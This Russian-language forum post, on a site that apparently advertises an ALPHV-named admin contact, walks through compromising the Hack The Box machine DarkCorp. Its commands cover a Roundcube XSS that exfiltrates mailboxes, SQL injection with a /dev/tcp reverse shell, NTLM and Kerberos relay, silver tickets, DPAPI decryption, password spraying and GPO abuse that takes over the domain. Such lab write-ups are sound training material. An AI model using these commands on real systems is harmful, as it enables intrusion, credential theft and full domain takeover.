• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем сеть с AD и хостами на разных ОС

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,440
Розыгрыши
0
Реакции
792
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня будем упражняться в сети с Active Directory, где часть машин работает на Linux. Начнем с веб‑уязвимостей: XSS в почтовике Roundcube и SQL-инъекции. Затем в Linux найдем бэкап базы данных и информацию для входа в домен. Следом используем несогласованность между поставщиками Kerberos и скомпрометируем еще один хост на Linux, а затем и весь домен.
Наша конечная цель — получение прав суперпользователя на машине DarkCorp с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания, как ты уже мог догадаться, — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Итак, приступим. Как всегда, добавляем IP-адрес машины в /etc/hosts:

10.10.11.54 darkcorp.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 9.2p1;
  • 80 — веб‑сервер Nginx 1.22.1.
Выбора нет, начинаем с веб‑сервера.


Точка входа​

Нас редиректит на домен drip.htb, и система, естественно, не резолвит имя.

Для просмотра ссылки Войди или Зарегистрируйся
Обновим запись в файле /etc/hosts и снова обратимся к сайту.

10.10.11.54 darkcorp.htb drip.htb
Для просмотра ссылки Войди или Зарегистрируйся
На сайте находим информацию о собственном почтовом сервисе (судя по картинке, это Для просмотра ссылки Войди или Зарегистрируйся). Также есть ссылка на авторизацию в почте, однако и этот домен не будет резолвиться.

Для просмотра ссылки Войди или Зарегистрируйся
Опять дополняем запись в /etc/hosts и обновляем страницу почтового сервиса.

10.10.11.54 darkcorp.htb drip.htb mail.drip.htb
Для просмотра ссылки Войди или Зарегистрируйся
Мы можем зарегистрироваться на сайте, а затем авторизоваться в почтовом сервисе. Войдя в свой почтовый ящик, сразу получим сообщение от бота.

Для просмотра ссылки Войди или Зарегистрируйся
Продолжаем собирать информацию. Узнаем, какая версия Roundcube развернута на сервере.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом стоит проверить, есть ли для нее готовые эксплоиты. Просто поищем их в Google.

Для просмотра ссылки Войди или Зарегистрируйся
Третья Для просмотра ссылки Войди или Зарегистрируйся ведет на репозиторий GitHub с описанием уязвимости Для просмотра ссылки Войди или Зарегистрируйся.


CVE-2024-42009​

Roundcube до версии 1.5.7 и с 1.6.x до 1.6.7 содержит уязвимость XSS, что дает возможность через отправку специального сообщения получить все данные из почтового ящика атакуемого пользователя, в том числе и содержимое сообщений.

Но нам нужно найти почтовые адреса для атаки. В форме Contact Us на сайте можно отправить сообщение, а в Burp Proxy — увидеть, что оно идет на почтовый ящик support@drip.htb.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Также интересно, от имени какого пользователя отправляется сообщение. Чтобы это узнать, используем Burp Repeater и изменим целевой адрес на свой.

Для просмотра ссылки Войди или Зарегистрируйся
В почте проверим «Входящие» и из нового сообщения узнаем почтовый адрес безопасника bcase@drip.htb.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь немного адаптируем код эксплоита. В строке 34 изменим TARGET_URL, в строке 44 укажем адрес своего веб‑сервера, куда будет эксфильтровано содержимое почтового ящика, а в переменной post_data заменим адрес отправителя и получателя.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем веб‑сервер:

python3 -m http.server 4444
А теперь запускаем сам эксплоит:

python3 -m venv venv
source ./venv/bin/activate
pip install requests beautifulsoup4

python3 exploit.py
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Декодируем данные из Base64 и открываем файлы через браузер. В одном из сообщений с адреса ebelford@drip.htb находим упоминание неизвестного нам сервиса dev-a3f1-01.drip.htb.

Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Обновляем запись в файле /etc/hosts и отправляемся смотреть новый сервис.

10.10.11.54 darkcorp.htb drip.htb mail.drip.htb dev-a3f1-01.drip.htb
Для просмотра ссылки Войди или Зарегистрируйся
Сайт недоступен, но на странице ошибки есть ссылка на авторизацию. А там — функция сброса пароля.

Для просмотра ссылки Войди или Зарегистрируйся
Чтобы сбросить пароль, укажем почту пользователя. Так как мы можем читать сообщения пользователей, введем почту bcase@drip.htb, а затем повторим эксплуатацию XSS. В сообщении найдем ссылку на страницу изменения пароля.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Устанавливаем для учетной записи свой пароль и авторизуемся в системе.

Для просмотра ссылки Войди или Зарегистрируйся
На странице Analytics выводятся логи и присутствует поле для фильтра.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом попробуем нагрузку для SQL-инъекции. На странице отобразилась ошибка SQL, а значит, будем копать дальше в этом направлении.

Для просмотра ссылки Войди или Зарегистрируйся

SQL-инъекция​

При эксплуатации SQL-инъекции первым делом узнаем версию СУБД.

''; SELECT version() -- -
Для просмотра ссылки Войди или Зарегистрируйся
На сервере развернут PostgreSQL. Узнаем текущего пользователя базы данных.

''; SELECT current_user; -- -
Для просмотра ссылки Войди или Зарегистрируйся
Теперь попробуем прочитать файл, например /etc/passwd.

''; SELECT pg_read_file('/etc/passwd', 0, 3000); -- -
Для просмотра ссылки Войди или Зарегистрируйся
Прав на все хватает, поэтому попробуем запустить листенер (pwncat-cs -lp 4321) и исполним реверс‑шелл.

'';DO $$
DECLARE
c text;
BEGIN
c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.41/4321 0>&1"''';
EXECUTE c;
END $$;
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Настало время собрать информацию о системе. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загружаем на удаленный хост скрипт для Linux, даем право на выполнение и запускаем сканирование. Когда оно закончится, ищем в выводе что‑то, что поможет нам в эскалации привилегий.

Настройки Kerberos свидетельствуют о том, что машина входит в домен darkcorp.htb.

Для просмотра ссылки Войди или Зарегистрируйся
Среди переменных окружения находим логин и пароль для подключения к базе данных.

Для просмотра ссылки Войди или Зарегистрируйся
В файле /etc/host есть записи для контроллера домена DC-01.

Для просмотра ссылки Войди или Зарегистрируйся
У пользователя postgres есть сохраненные ключи GPG. Также есть зашифрованный файл /var/backups/postgres/dev-dripmail.old.sql.gpg.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем расшифровать бэкап, для чего используем пароль 2Qa2SsBkQvsc. В расшифрованном файле .sql есть несколько MD5-хешей.

gpg --use-agent --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase 2Qa2SsBkQvsc --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > backup.sql
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Закидываем хеши на сайт Для просмотра ссылки Войди или Зарегистрируйся для проверки по онлайновым базам данных. В итоге получаем два пароля.

Для просмотра ссылки Войди или Зарегистрируйся
От имени пользователя ebelford авторизуемся на сервере по SSH.

Для просмотра ссылки Войди или Зарегистрируйся

Домен Active Directory​

Теперь у нас стабильный доступ и мы можем просканировать внутреннюю сеть с помощью Для просмотра ссылки Войди или Зарегистрируйся. Первым делом отберем хосты, которые отвечают на пинг.

./nmap -sn 172.16.20.0/24
Для просмотра ссылки Войди или Зарегистрируйся
Затем на трех откликнувшихся хостах просканируем открытые порты.

./nmap -p1-10000 172.16.20.1-3
Для просмотра ссылки Войди или Зарегистрируйся
На каждом хосте запущены веб‑серверы — к ним непременно нужно будет вернуться. А пока проверим, какие из скомпрометированных учетных записей доменные. Валидировать будем с помощью Для просмотра ссылки Войди или Зарегистрируйся, но, так как прямого доступа во внутреннюю сеть у нас нет, построим туннель с помощью SSH (опция -D 1080). Затем сделаем запись в файле /etc/proxychains.conf.

socks5 127.0.0.1 1080
Все готово, можно туннелировать запросы с помощью proxychains.

proxychains -q nxc smb 172.16.20.1 -u ebelford -p ThePlague61780

proxychains -q nxc smb 172.16.20.1 -u victor.r -p 'victor1gustavo@#'
Для просмотра ссылки Войди или Зарегистрируйся
Пользователь victor.r зарегистрирован в домене. Запросим всех пользователей домена (опция --users) и составим список.

proxychains -q nxc ldap 172.16.20.1 -u victor.r -p 'victor1gustavo@#' --users
Для просмотра ссылки Войди или Зарегистрируйся
В описании пользователей ничего интересного нет, поэтому осмотримся на сайтах. На хосте 172.16.20.2 нас встречает HTTP-аутентификация.

Для просмотра ссылки Войди или Зарегистрируйся
В Burp Proxy увидим, что используется NTLM-аутентификация.

Для просмотра ссылки Войди или Зарегистрируйся
Burp позволяет нам проходить NTLM-аутентификацию на сайтах. Для этого перейдем в настройки сети и укажем новые учетные данные типа NTLMv2. Затем снова обратимся к сайту, на этот раз страница загрузится.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Веб‑сервис позволяет нам проверять доступность хоста из списка.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Компрометация WEB-01​

Так как хост подключается к указанному ресурсу, проверим, нельзя ли провести relay-атаку. Поскольку мы можем обращаться только к хостам из списка, с помощью socatx64 прокинем порт 8888 со скомпрометированного хоста drip.darkcorp.htb на порт 8000 своей машины.

./socatx64.bin tcp-listen:8888,reuseaddr,fork tcp:10.10.16.82:8000
Затем на своем хосте запустим ntlmrelayx для редиректа с порта 8000 веб‑сервера на службу LDAP на контроллере домена через SOCKS-туннель.

proxychains -q ntlmrelayx.py -t ldap://172.16.20.1 --no-smb --http-port 8000
Когда все будет готово, через Burp Repeater пошлем запрос на порт 8888 хоста drip.darkcorp.htb. В ntlmrelayx увидим перенаправленный запрос, а также успешную аутентификацию в службе LDAP от имени svc_acc.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Посмотрим, куда можно релеить аутентификацию, в первую очередь проверяем AD CS.

proxychains -q nxc ldap 172.16.20.1 -u victor.r -p 'victor1gustavo@#' -M adcs
Для просмотра ссылки Войди или Зарегистрируйся
На веб‑сервере центра сертификации активен HTTPS, поэтому релей сюда не будет успешным. Загрузим на скомпрометированный хост Для просмотра ссылки Войди или Зарегистрируйся (реализация агента BloodHound на Rust) и соберем информацию для BloodHound.

./rusthound-ce --domain darkcorp.htb --ldapusername victor.r --ldappassword 'victor1gustavo@#'
Для просмотра ссылки Войди или Зарегистрируйся

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Построим граф от пользователя svc_acc. Так мы узнаем, что он состоит в группе DNS Admins, что позволяет этой учетке редактировать DNS-записи в домене.

Для просмотра ссылки Войди или Зарегистрируйся
Проверим, есть ли в домене серверы, на которых мы можем вызвать принудительную аутентификацию любым из методов. Сканирование с помощью NetExec показывает, что оба хоста уязвимы к методу принудительной аутентификации PetitPotam.

proxychains -q nxc smb 172.16.20.1-2 -u victor.r -p 'victor1gustavo@#' -M coerce_plus
Для просмотра ссылки Войди или Зарегистрируйся
Так как мы можем создать свою DNS-запись и использовать принудительную аутентификацию, то мы можем использовать технику Для просмотра ссылки Войди или Зарегистрируйся в AD CS для получения сертификата машинной учетной записи целевого хоста.

Первым шагом нам нужно создать вот такую DNS-запись для своей машины:

dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Делать это мы будем через NTLM-релей пользователя svc_acc.

proxychains -q ntlmrelayx.py -t ldap://172.16.20.1 --no-smb --no-dump --no-da --no-acl --no-validate-privs --http-port 8000 --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.16.82
Для просмотра ссылки Войди или Зарегистрируйся
Когда DNS-запись будет создана, добавим домен в /etc/hosts на своем хосте.

172.16.20.1 darkcorp.htb dc-01.darkcorp.htb
Затем запустим ретранслятор Для просмотра ссылки Войди или Зарегистрируйся для релея в эндпоинт Для просмотра ссылки Войди или Зарегистрируйся.

proxychains -q python3 krbrelayx.py -t 'Для просмотра ссылки Войди или Зарегистрируйся' --adcs -v 'WEB01$'
Когда все будет готово, через PetitPotam вызовем принудительную аутентификацию с хоста WEB01 по созданному доменному имени.

proxychains -q nxc smb 172.16.20.2 -u victor.r -p 'victor1gustavo@#' -M coerce_plus -o LISTENER=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
У нас есть сертификат, и мы можем использовать технику Unpac The Hash для получения билета Kerberos учетной записи, а из него уже и NTLM-хеша пароля (RC4-ключа Kerberos). Но для работы с Kerberos нам нужно синхронизировать время с сервером. Узнать время на сервере можно из заголовка Date ответа веб‑сервера (команда proxychains -q curl 172.16.20.1 -v), а применить время только для команды можно через утилиту faketime.

faketime '2025-03-15 13:13:39 UTC' proxychains -q certipy auth -pfx WEB01\$.pfx
Для просмотра ссылки Войди или Зарегистрируйся
Так как у нас есть RC4-ключ машинной учетной записи, от имени которой работают службы на хосте, мы можем сделать Silver Tiket на имя любого пользователя домена и авторизоваться в службах. Билет создаем на имя пользователя Administrator.

faketime '2025-03-15 13:19:34 UTC' proxychains -q ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator
Для просмотра ссылки Войди или Зарегистрируйся
Добавляем в /etc/hosts еще одну запись и дампим хеши паролей локальных пользователей из базы SAM с помощью secretsdump.

172.16.20.2 web-01.darkcorp.htb
KRB5CCNAME=Administrator.ccache proxychains -q faketime '2025-03-15 13:22:54 UTC' secretsdump.py Administrator@web-01.darkcorp.htb -k -no-pass
Для просмотра ссылки Войди или Зарегистрируйся
От имени локального администратора авторизуемся на хосте через WinRM и читаем первый флаг.

proxychains -q evil-winrm -i 172.16.20.2 -u Administrator -H 88d84ec08dad123eb04a060a74053f21
Для просмотра ссылки Войди или Зарегистрируйся

Сбор учетных данных​

Многие приложения используют механизм DPAPI для шифрования учетных данных. Чтобы проверить, нет ли на хосте данных, сохраненных приложениями, можно использовать Для просмотра ссылки Войди или Зарегистрируйся. В данном случае утилита смогла найти и расшифровать пароль локального администратора. Отлично, у нас как раз есть хеш этого пароля!

proxychains -q donpapi collect -t 172.16.20.2 -u Administrator -H 88d84ec08dad123eb04a060a74053f21
Для просмотра ссылки Войди или Зарегистрируйся
Бывает, что DonPAPI упускает данные, поэтому стоит также проверить зашифрованные блобы вручную. Подключаемся к хосту по SMB с помощью Для просмотра ссылки Войди или Зарегистрируйся и проверяем пользовательский каталог AppData\Local\Microsoft\Credentials.

proxychains -q smbclientng -u Administrator -H 88d84ec08dad123eb04a060a74053f21 --host 172.16.20.2
Для просмотра ссылки Войди или Зарегистрируйся
Блоб 32B2774DF751FF7E28E78AE75C237A1E зашифрован мастер‑ключом DPAPI. Скачиваем зашифрованный файл и проверяем мастер‑ключи в каталоге AppData\Roaming\Microsoft\Protect. В каталоге два зашифрованных паролем пользователя мастер‑ключа, скачиваем на свою машину и их тоже.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом пробуем расшифровать мастер‑ключи. Для этого используем скрипт impacket-dpapi.py. В итоге получается расшифровать один мастер‑ключ.

dpapi.py masterkey -file 6037d071-cac5-481e-9e08-c4296c0a7ff7 -sid S-1-5-21-2988385993-1727309239-2541228647-500 -password 'But_Lying_Aid9!'
Для просмотра ссылки Войди или Зарегистрируйся
Теперь с мастер‑ключом получаем зашифрованные с использованием DPAPI данные.

dpapi.py credential -file 32B2774DF751FF7E28E78AE75C237A1E -key 0xac7861aa1f899a92f7d8895b96056a76c580515d8a4e71668bc29627f6e9f38ea289420db75c6f85daac34aba33048af683153b5cfe50dd9945a1be5ab1fe6da
Для просмотра ссылки Войди или Зарегистрируйся
Теперь у нас есть сохраненные учетные данные пользователя Administrator. Пароль для пользователя не подошел, но, если проспреить его по всем аккаунтам, получаем новую учетную запись john.w.

proxychains -q nxc smb 172.16.20.1 -u users.txt -p 'Pack_Beneath_Solid9!' --continue-on-success
Для просмотра ссылки Войди или Зарегистрируйся

Компрометация Drip​

Строим граф BloodHound от нового скомпрометированного пользователя и узнаём, что учетная запись john.w имеет право GenericWrite на учетную запись пользователя angela.w.

Для просмотра ссылки Войди или Зарегистрируйся
Так как в домене настроен центр сертификации Active Directory, мы можем воспользоваться техникой Shadow Credentials для получения сертификата учетной записи ANGELA.W. Эта атака позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату пользователя мы получим его TGT-билет, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow.

faketime -f "-16m" proxychains -q certipy shadow auto -u john.w@darkcorp.htb -p 'Pack_Beneath_Solid9!' -dc-ip 172.16.20.1 -target dc-01.darkcorp.htb -account angela.w
Для просмотра ссылки Войди или Зарегистрируйся
Учетная запись angela.w никаких полезных разрешений на объекты не имеет, однако другая учетная запись, angela.w.adm, входит в группу с говорящим названием LINUX_ADMINS.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем использовать ошибки реализации Kerberos в решениях разных поставщиков, в данном случае Microsoft AD и MIT. Если опустить все технические подробности из Для просмотра ссылки Войди или Зарегистрируйся, все сводится к тому, что серверы на Windows полагаются на атрибут samAccountName целевой учетной записи, который определен в PAC билета TGS. В то время как Unix-серверы опираются на значение cname, получаемое из атрибута PrincipalName.

Получается, что мы можем установить имя учетной записи angela.w.adm в атрибуте userPrincipalName учетки angela.w, а затем запросить TGT-билет для angela.w.adm. При запросе билета обязательно следует указать principalType NT_ENTERPRISE.

proxychains -q bloodyAD --host 172.16.20.1 -u john.w -p 'Pack_Beneath_Solid9!' -d darkcorp.htb set object angela.w userPrincipalName -v angela.w.adm
Для просмотра ссылки Войди или Зарегистрируйся
faketime -f "-16m" proxychains -q getTGT.py 'darkcorp.htb/angela.w.adm' -hashes :957246c8137069bca672dc6aa0af7c7a -dc-ip 172.16.20.1 -principalType NT_ENTERPRISE
Для просмотра ссылки Войди или Зарегистрируйся
Остается экспортировать полученный билет и авторизоваться по SSH с использованием Kerberos.

export KRB5CCNAME=./angela.w.adm.ccache
ssh -K angela.w.adm@drip.darkcorp.htb
Для просмотра ссылки Войди или Зарегистрируйся

Сбор учетных данных​

От Windows снова переходим к Linux. Так как пользователь состоял в группе LINUX_ADMINS, проверим, может ли он использовать sudo.

Для просмотра ссылки Войди или Зарегистрируйся
Выясняем, что этот пользователь может выполнять любые команды через sudo без ввода пароля. Получим сессию root через sudo su и проверим файлы в каталоге sssd. SSSD (Security Services Daemon) в Linux — это системный демон, который управляет доступом к удаленным источникам аутентификации и информации о пользователях, то есть помогает Linux-машинам взаимодействовать с системами вроде AD, LDAP и Kerberos.

Для просмотра ссылки Войди или Зарегистрируйся
SSSD может кешировать учетные данные пользователей Active Directory, а при наличии привилегированной сессии на хосте мы можем достать эти учетные данные.

strings /var/lib/sss/db/*.ldb | grep '\$6\$'
Для просмотра ссылки Войди или Зарегистрируйся
Пробрутим полученный хеш с помощью hashcat и получим еще один пароль.

hashcat sssd_hash.txt rockyou.txt
Для просмотра ссылки Войди или Зарегистрируйся
Осталось проспреить полученный пароль по всем логинам. Так мы компрометируем еще одну учетную запись taylor.b.adm.

proxychains -q nxc smb 172.16.20.1 -u users.txt -p '!QAZzaq1' --continue-on-success
Для просмотра ссылки Войди или Зарегистрируйся

Компрометация домена​

Перестроенный от новой учетной записи граф показывает, что пользователь taylor.b.adm состоит в группе GPO_MANAGER, которая имеет право GenericWrite на объект групповой политики SecurityUpdates.

Для просмотра ссылки Войди или Зарегистрируйся
Это право позволяет нам изменить GPO и тем самым выполнить произвольный код. Скриптом Для просмотра ссылки Войди или Зарегистрируйся изменим объект групповой политики так, чтобы создавалась задача, которая устанавливает пользователю Administrator наш пароль.

proxychains -q python3 pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id '652CAE9A-4BB7-49F2-9E52-3361F33CE786' -command 'net user Administrator P4ssw0rd123' -taskname root -description root
Для просмотра ссылки Войди или Зарегистрируйся
На хосте применяем изменения групповых политик, после чего авторизуемся через WinRM от имени Administrator с новым паролем.

proxychains -q evil-winrm -i 172.16.20.1 -u Administrator -p 'P4ssw0rd123'

Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу